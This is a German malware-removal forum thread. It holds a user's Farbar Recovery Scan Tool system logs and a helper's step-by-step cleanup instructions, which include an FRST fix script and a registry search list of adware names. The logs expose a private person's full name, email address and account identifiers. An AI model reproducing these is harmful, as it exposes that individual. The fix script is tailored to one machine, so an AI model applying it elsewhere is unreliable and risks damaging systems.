(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

Task: {05D48E00-BF2C-4CEB-B7DF-04409233784E} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-03-17] (Google Inc.)
Task: {49A10F24-190A-4ED7-9B48-C3CB6BBBC914} - System32\Tasks\GenericSettingsHandler\Windows-Credentials\RetrySyncTask_for_S-1-5-21-3847841184-804715454-2304624315-1001
Task: {53A67BD4-6351-4805-A436-9353CBFAAAFA} - System32\Tasks\AdobeAAMUpdater-1.0-MicrosoftAccount-wiiu02015@outlook.de => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe
Task: {6557BCB6-2F27-448C-ACA4-7E86E4B009E5} - \Update -> Keine Datei <==== ACHTUNG
Task: {673824BA-7A3C-41BF-A4DA-9C4F9887830A} - System32\Tasks\Red Giant Link => C:\Program Files\Red Giant Link\Red Giant Link.exe
Task: {9376D540-EE5F-4016-8595-273CB525CC42} - System32\Tasks\Microsoft\Windows\RemovalTools\MRT_HB => C:\Windows\system32\MRT.exe [2017-05-23] (Microsoft Corporation)
Task: {9C8653D0-0863-4F6C-BDC9-E813956ACA92} - System32\Tasks\AVAST Software\Avast settings backup => C:\Program Files\Common Files\AV\avast! Antivirus\backup.exe
Task: {B8732800-4537-42E1-8E92-0D38D2678C49} - System32\Tasks\OneDrive Standalone Update Task v2 => C:\Users\Nick Schuster\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe [2017-05-13] ()
Task: {D4BAA7ED-86EB-4B60-9F30-8E2D64B7D175} - System32\Tasks\Adobe Flash Player Updater => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2017-05-09] (Adobe Systems Incorporated)
Task: {DBE77801-9F7F-4CE7-9DE2-FDB39098637C} - System32\Tasks\Adobe Flash Player PPAPI Notifier => C:\Windows\SysWOW64\Macromed\Flash\FlashUtil32_25_0_0_171_pepper.exe [2017-05-09] (Adobe Systems Incorporated)
Task: {F6691563-4A82-4630-97F5-2AD5B410283B} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-03-17] (Google Inc.)

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)


==================== Verkn黳fungen =============================

(Die Eintr鋑e k鰊nen gelistet werden, um sie zur點kzusetzen oder zu entfernen.)

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============

2017-02-27 11:37 - 2016-02-04 12:53 - 00387144 _____ () C:\Program Files (x86)\Canon\IJPLM\IJPLMSVC.EXE
2017-06-05 15:57 - 2017-05-31 11:09 - 02270664 _____ () C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\MwacLib.dll
2015-08-09 05:50 - 2016-10-07 00:07 - 00393208 _____ () C:\Windows\system32\igfxTray.exe

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)


==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MBAMService => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBAMService => ""="Service"

==================== Verkn黳fungen (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zur點kgesetzt oder entfernt.)


==================== Internet Explorer Vertrauensw黵dig/Eingeschr鋘kt ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)


==================== Hosts Inhalt: ===============================

(Wenn ben鰐igt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zur點kzusetzen.)

2016-11-23 18:06 - 2017-06-05 15:51 - 00000832 _____ C:\Windows\system32\Drivers\etc\hosts


==================== Andere Bereiche ============================

(Aktuell gibt es keinen automatisierten Fix f黵 diesen Bereich.)

HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows Photo Viewer\Hintergrundbild der Windows-Fotoanzeige.jpg
DNS Servers: 8.8.8.8
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 0) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
Windows Firewall ist aktiviert.

==================== MSCONFIG/TASK MANAGER Deaktivierte Eintr鋑e ==

MSCONFIG\Services: BDESVC => 3
MSCONFIG\Services: BITS => 2
MSCONFIG\Services: DbxSvc => 2
MSCONFIG\Services: KingoSoftService => 2
MSCONFIG\Services: SysLinkMapper => 2
HKLM\...\StartupApproved\Run: => "AdobeAAMUpdater-1.0"
HKLM\...\StartupApproved\Run: => "AirServer64"
HKLM\...\StartupApproved\Run32: => "SunJavaUpdateSched"
HKLM\...\StartupApproved\Run32: => "BlueStacks Agent"
HKLM\...\StartupApproved\Run32: => "Dropbox"
HKLM\...\StartupApproved\Run32: => "KiesTrayAgent"
HKLM\...\StartupApproved\Run32: => "IJNetworkScannerSelectorEX"
HKLM\...\StartupApproved\Run32: => "CanonQuickMenu"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Skype"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Steam"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Spotify"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Spotify Web Helper"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Spiele Post"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Google Updater 2.0"

==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)


==================== Wiederherstellungspunkte =========================

28-05-2017 11:43:38 Windows Update
28-05-2017 20:39:08 DirectX wurde installiert
30-05-2017 14:03:51 Removed Samsung Kies
31-05-2017 17:31:09 Removed Vegas Pro 13.0 (64-bit)
01-06-2017 21:49:48 Installed NetAdapterUpdate

==================== Fehlerhafte Ger鋞e im Ger鋞emanager =============

Name:
Description:
Class Guid:
Manufacturer:
Service:
Problem: : The drivers for this device are not installed. (Code 28)
Resolution: To install the drivers for this device, click "Update Driver", which starts the Hardware Update wizard.

Name: USB2.0-CRW
Description: USB2.0-CRW
Class Guid:
Manufacturer:
Service:
Problem: : The drivers for this device are not installed. (Code 28)
Resolution: To install the drivers for this device, click "Update Driver", which starts the Hardware Update wizard.


==================== Fehlereintr鋑e in der Ereignisanzeige: =========================

Applikationsfehler:
==================
Error: (06/05/2017 04:59:21 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/05/2017 04:59:21 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/05/2017 04:59:21 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/05/2017 04:59:18 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: LiveComm.exe, Version: 17.5.9600.20911, Zeitstempel: 0x559467ee
Name des fehlerhaften Moduls: msvcr120_app.dll, Version: 12.0.21005.1, Zeitstempel: 0x524f8432
Ausnahmecode: 0xc0000409
Fehleroffset: 0x000000000001ef5f
ID des fehlerhaften Prozesses: 0xf58
Startzeit der fehlerhaften Anwendung: 0x01d2de0c4e300573
Pfad der fehlerhaften Anwendung: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe
Pfad des fehlerhaften Moduls: C:\Program Files\WindowsApps\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\msvcr120_app.dll
Berichtskennung: 8befa251-49ff-11e7-8424-0071c2420bd3
Vollst鋘diger Name des fehlerhaften Pakets: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe
Anwendungs-ID, die relativ zum fehlerhaften Paket ist: ppleae38af2e007f4358a809ac99a64a67c1

Error: (06/05/2017 04:59:16 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: LiveComm.exe, Version: 17.5.9600.20911, Zeitstempel: 0x559467ee
Name des fehlerhaften Moduls: msvcr120_app.dll, Version: 12.0.21005.1, Zeitstempel: 0x524f8432
Ausnahmecode: 0xc0000409
Fehleroffset: 0x000000000001ef5f
ID des fehlerhaften Prozesses: 0xf20
Startzeit der fehlerhaften Anwendung: 0x01d2de0c4d73a939
Pfad der fehlerhaften Anwendung: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe
Pfad des fehlerhaften Moduls: C:\Program Files\WindowsApps\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\msvcr120_app.dll
Berichtskennung: 8b334783-49ff-11e7-8424-0071c2420bd3
Vollst鋘diger Name des fehlerhaften Pakets: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe
Anwendungs-ID, die relativ zum fehlerhaften Paket ist: ppleae38af2e007f4358a809ac99a64a67c1

Error: (06/05/2017 04:59:10 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: LiveComm.exe, Version: 17.5.9600.20911, Zeitstempel: 0x559467ee
Name des fehlerhaften Moduls: msvcr120_app.dll, Version: 12.0.21005.1, Zeitstempel: 0x524f8432
Ausnahmecode: 0xc0000409
Fehleroffset: 0x000000000001ef5f
ID des fehlerhaften Prozesses: 0xc2c
Startzeit der fehlerhaften Anwendung: 0x01d2de0c42df3067
Pfad der fehlerhaften Anwendung: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe
Pfad des fehlerhaften Moduls: C:\Program Files\WindowsApps\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\msvcr120_app.dll
Berichtskennung: 877e5c32-49ff-11e7-8424-0071c2420bd3
Vollst鋘diger Name des fehlerhaften Pakets: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe
Anwendungs-ID, die relativ zum fehlerhaften Paket ist: ppleae38af2e007f4358a809ac99a64a67c1

Error: (06/05/2017 04:59:04 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „Microsoft.WindowsAlarms_8wekyb3d8bbwe!App“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/05/2017 04:53:14 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/05/2017 04:53:14 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/05/2017 04:53:09 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: LiveComm.exe, Version: 17.5.9600.20911, Zeitstempel: 0x559467ee
Name des fehlerhaften Moduls: msvcr120_app.dll, Version: 12.0.21005.1, Zeitstempel: 0x524f8432
Ausnahmecode: 0xc0000409
Fehleroffset: 0x000000000001ef5f
ID des fehlerhaften Prozesses: 0x564
Startzeit der fehlerhaften Anwendung: 0x01d2de0b72b41623
Pfad der fehlerhaften Anwendung: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe
Pfad des fehlerhaften Moduls: C:\Program Files\WindowsApps\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\msvcr120_app.dll
Berichtskennung: b07ae67c-49fe-11e7-8423-0071c2420bd3
Vollst鋘diger Name des fehlerhaften Pakets: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe
Anwendungs-ID, die relativ zum fehlerhaften Paket ist: ppleae38af2e007f4358a809ac99a64a67c1


Systemfehler:
=============
Error: (06/05/2017 04:59:19 PM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/05/2017 04:59:17 PM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/05/2017 04:59:16 PM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/05/2017 04:58:58 PM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "App.AppX2tphb21dp9jkkycchwvscnrxk12cys3z.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/05/2017 04:53:10 PM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/05/2017 04:53:09 PM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/05/2017 04:23:13 PM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/05/2017 04:23:12 PM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/05/2017 04:08:14 PM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/05/2017 04:08:13 PM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.


CodeIntegrity:
===================================
  Date: 2017-05-03 18:07:17.434
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 18:06:29.117
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 17:37:01.065
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 17:37:00.358
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 17:24:33.560
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 15:20:35.981
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-03-30 16:06:23.178
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-03-30 14:48:35.444
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-03-30 14:48:35.282
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-03-30 14:48:35.275
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.


==================== Speicherinformationen ===========================

Prozessor: Intel(R) Core(TM) i5-5200U CPU @ 2.20GHz
Prozentuale Nutzung des RAM: 38%
Installierter physikalischer RAM: 4014.84 MB
Verf黦barer physikalischer RAM: 2479.09 MB
Summe virtueller Speicher: 4718.84 MB
Verf黦barer virtueller Speicher: 3285.92 MB

==================== Laufwerke ================================

Drive c: (NexusLap) (Fixed) (Total:869.8 GB) (Free:768.42 GB) NTFS
Drive d: (Recover) (Fixed) (Total:60 GB) (Free:42.31 GB) NTFS

==================== MBR & Partitionstabelle ==================

========================================================
Disk: 0 (Size: 931.5 GB) (Disk ID: B8E472D2)

Partition: GPT.

==================== Ende von Addition.txt ============================

M-K-D-B 06.06.2017 09:11
Servus,



das sieht schon viel besser aus... :)
Wir sind aber noch nicht fertig. ;)






Schritt 1
  • Deinstalliere Google Chrome 黚er die Systemsteuerung. (Bebilderte Anleitung)
  • Setze bei der Deinstallation auch einen Haken vor Auch die Browserdaten l鰏chen (oder so 鋒nlich).
  • Starte den Rechner im Anschluss neu auf.
  • Installiere Google Chrome neu (falls ben鰐igt). Keine Erweiterungen/Plugins installieren und nicht mit einem evtl. vorhandenen Konto verbinden/synchronisieren.





Schritt 2
  • Kopiere den Inhalt der folgenden Code-Box:
    Code:
    Start::
    CloseProcesses:
    C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\PROFILES
    2017-05-07 13:16 - 2016-12-17 15:58 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Chromium
    Task: {6557BCB6-2F27-448C-ACA4-7E86E4B009E5} - \Update -> Keine Datei <==== ACHTUNG
    HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Google Updater 2.0"
    HKLM\ DisallowedCertificates: FFFA650F2CB2ABC0D80527B524DD3F9FC172C138 (Doctor Web Ltd.) <==== ACHTUNG
    CMD: reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost"
    CMD: reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost"
    CMD: dir "%ProgramFiles%"
    CMD: dir "%ProgramFiles(x86)%"
    CMD: dir "%ProgramData%"
    CMD: dir "%Appdata%"
    CMD: dir "%LocalAppdata%"
    CMD: dir "%CommonProgramFiles(x86)%"
    CMD: dir "%CommonProgramW6432%"
    CMD: dir "%UserProfile%"
    CMD: dir "C:\"
    EmptyTemp:
    End::
  • Starte nun FRST und klicke den Entfernen Button.
  • Das Tool f黨rt die gew黱schten Schritte aus und erstellt eine fixlog.txt im selben Verzeichnis, in dem sich die FRST/FRST64.exe befindet.
  • Gegebenenfalls muss dein Rechner daf黵 neu gestartet werden.
  • Poste mir den Inhalt der fixlog.txt mit deiner n鋍hsten Antwort.





Schritt 3
  • Starte FRST erneut.
  • Kopiere den Inhalt der folgenden Code-Box in die Zeile "Suche":
    Code:
    SwytShop;Interstat;Plumbytes;KUAIZIP;initialsite123;Speedownloader;Socia2Sear;EnigmaSoftwareGroup;HDWallpaper;AppTrailers;WiperSoft;DownloadProtect;SpyHunter;betterads;amule;OtherSearch;System Healer;ZipTool;iSafe;Softlink;AdvinstAnalytics;gplyra;Qizsywosale Core;Phucusy;Anerpe;Grerdaentlerveck;Minerent;ourluckysites;trotux;Everness;ProxyGate;Elex-tech;Applemy;Minerent;Arucerther;AdvinstAnalytics;Cerzaentfisuge;ttwifi;Quick Tharks Screen Saver;SoftUpgrade;devnull;Grerdaentlerveck;Draveingplererward;VideoMemoryDiagnostic;Prfasaretaly;pccleanplus;Babylon;terana;CSHMDR;CWASRE;NPASRE;VNASRE;ANSARE;background_fault;WANARE;SNAREA;SNARE;SNARER;Yeshat;BrowserModule;Kyubey;BikaQRss;WinSAPSvc;Mikghbiritain;
  • Dr點ke auf Registry-Suche.
  • FRST beginnt mit dem Suchlauf. Dies kann einige Zeit dauern.
  • Am Ende erstellt FRST eine Textdatei SearchReg.txt.
  • Poste mir deren Inhalt mit deiner n鋍hsten Antwort.





Schritt 4
  • Starte die FRST erneut. Vergewissere dich, dass vor Addition.txt ein Haken gesetzt ist.
  • Setze einen Haken vor Dateiliste 90 Tage und dr點ke auf Untersuchen.
  • FRST erstellt wieder zwei Logdateien (FRST.txt und Addition.txt).
  • Poste mir beide Logdateien mit deiner n鋍hsten Antwort.





Bitte poste mit deiner n鋍hsten Antwort
  • die Logdatei des FRST-Fix,
  • die Logdatei des Registry-Suchlaufs,
  • die beiden neuen Logdateien von FRST (FRST.txt und Addition.txt).

NexsReloaded 07.06.2017 10:14
Code:

Zus鋞zliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 05-06-2017
durchgef黨rt von Nick Schuster (07-06-2017 11:11:32)
Gestartet von C:\Users\Nick Schuster\Desktop\anti trojan\killer.exe
Windows 8.1 (Update) (X64) (2015-12-26 14:37:47)
Start-Modus: Normal
==========================================================


==================== Konten: =============================

Administrator (S-1-5-21-3847841184-804715454-2304624315-500 - Administrator - Disabled)
Gast (S-1-5-21-3847841184-804715454-2304624315-501 - Limited - Disabled)
HomeGroupUser$ (S-1-5-21-3847841184-804715454-2304624315-1003 - Limited - Enabled)
Nick Schuster (S-1-5-21-3847841184-804715454-2304624315-1001 - Administrator - Enabled) => C:\Users\Nick Schuster

==================== Sicherheits-Center ========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AV: Malwarebytes (Enabled - Up to date) {23007AD3-69FE-687C-2629-D584AFFAF72B}
AS: Malwarebytes (Enabled - Up to date) {98619B37-4FC4-67F2-1C99-EEF6D47DBD96}
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installierte Programme ======================

(Nur Adware-Programme mit dem Zusatz "Hidden" k鰊nen in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)

Adobe After Effects CC 2015 (HKLM-x32\...\{147EC100-14BE-45EF-AB42-35BAEE7D02F0}) (Version: 13.6.1 - Adobe Systems Incorporated)
Adobe AIR (HKLM-x32\...\Adobe AIR) (Version: 3.1.0.4880 - Adobe Systems Incorporated)
Adobe Flash Player 25 NPAPI (HKLM-x32\...\Adobe Flash Player NPAPI) (Version: 25.0.0.171 - Adobe Systems Incorporated)
Adobe Flash Player 25 PPAPI (HKLM-x32\...\Adobe Flash Player PPAPI) (Version: 25.0.0.171 - Adobe Systems Incorporated)
Adobe Photoshop CS6 Version 13.0.1 (HKLM-x32\...\{A724DC44-6241-42D3-BA57-778B178ABC17}_is1) (Version: 13.0.1 - Adobe Systems, Inc.)
ASIO4ALL (HKLM-x32\...\ASIO4ALL) (Version: 2.12 - Michael Tippach)
Canon Easy-WebPrint EX (HKLM-x32\...\Easy-WebPrint EX) (Version: 1.7.0.0 - Canon Inc.)
Canon IJ Network Scanner Selector EX (HKLM-x32\...\Canon_IJ_Network_Scanner_Selector_EX) (Version: 1.5.4.4 - Canon Inc.)
Canon IJ Network Tool (HKLM-x32\...\Canon_IJ_Network_UTILITY) (Version: 3.7.0 - Canon Inc.)
Canon IJ Scan Utility (HKLM-x32\...\Canon_IJ_Scan_Utility) (Version: 1.1.20.13 - Canon Inc.)
Canon Inkjet Printer/Scanner/Fax Extended Survey Program (HKLM-x32\...\CANONIJPLM100) (Version: 5.2.0 - Canon Inc.)
Canon MG5700 series Benutzerregistrierung (HKLM-x32\...\Canon MG5700 series Benutzerregistrierung) (Version:  - *Canon Inc.)
Canon MG5700 series MP Drivers (HKLM\...\{1199FAD5-9546-44f3-81CF-FFDB8040B7BF}_Canon_MG5700_series) (Version: 1.00 - Canon Inc.)
Canon My Printer (HKLM-x32\...\CanonMyPrinter) (Version: 3.3.0 - Canon Inc.)
Canon Quick Menu (HKLM-x32\...\CanonQuickMenu) (Version: 2.7.1 - Canon Inc.)
D3DX10 (x32 Version: 15.4.2368.0902 - Microsoft) Hidden
Equalizer APO (HKLM\...\EqualizerAPO) (Version: 1.1.2 - )
FL Studio 12 (HKLM-x32\...\FL Studio 12) (Version:  - Image-Line)
FL Studio 12.1.2 (HKLM\...\FL Studio 12.1.2_is1) (Version:  - )
FL Studio ASIO (HKLM\...\FL Studio ASIO) (Version:  - Image-Line)
FL Studio ASIO (HKLM-x32\...\FL Studio ASIO) (Version:  - Image-Line)
Fotogalerie (x32 Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
FreeOCR v5.4 (HKLM-x32\...\freeocr_is1) (Version:  - )
GIMP 2.8.20 (HKLM\...\GIMP-2_is1) (Version: 2.8.20 - The GIMP Team)
Google Chrome (HKLM-x32\...\Google Chrome) (Version: 59.0.3071.86 - Google Inc.)
Google Update Helper (x32 Version: 1.3.33.5 - Google Inc.) Hidden
HandBrake 0.10.5 (HKLM-x32\...\HandBrake) (Version: 0.10.5 - )
Intel(R) C++ Redistributables on Intel(R) 64 (HKLM-x32\...\{F70BCE36-25F2-4475-A918-6209B3D85BF3}) (Version: 15.0.179 - Intel Corporation)
Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 20.19.15.4531 - Intel Corporation)
Java 8 Update 121 (64-bit) (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F64180121F0}) (Version: 8.0.1210.13 - Oracle Corporation)
Java 8 Update 121 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F32180121F0}) (Version: 8.0.1210.13 - Oracle Corporation)
Junk Mail filter update (x32 Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
Malwarebytes Version 3.1.2.1733 (HKLM\...\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1) (Version: 3.1.2.1733 - Malwarebytes)
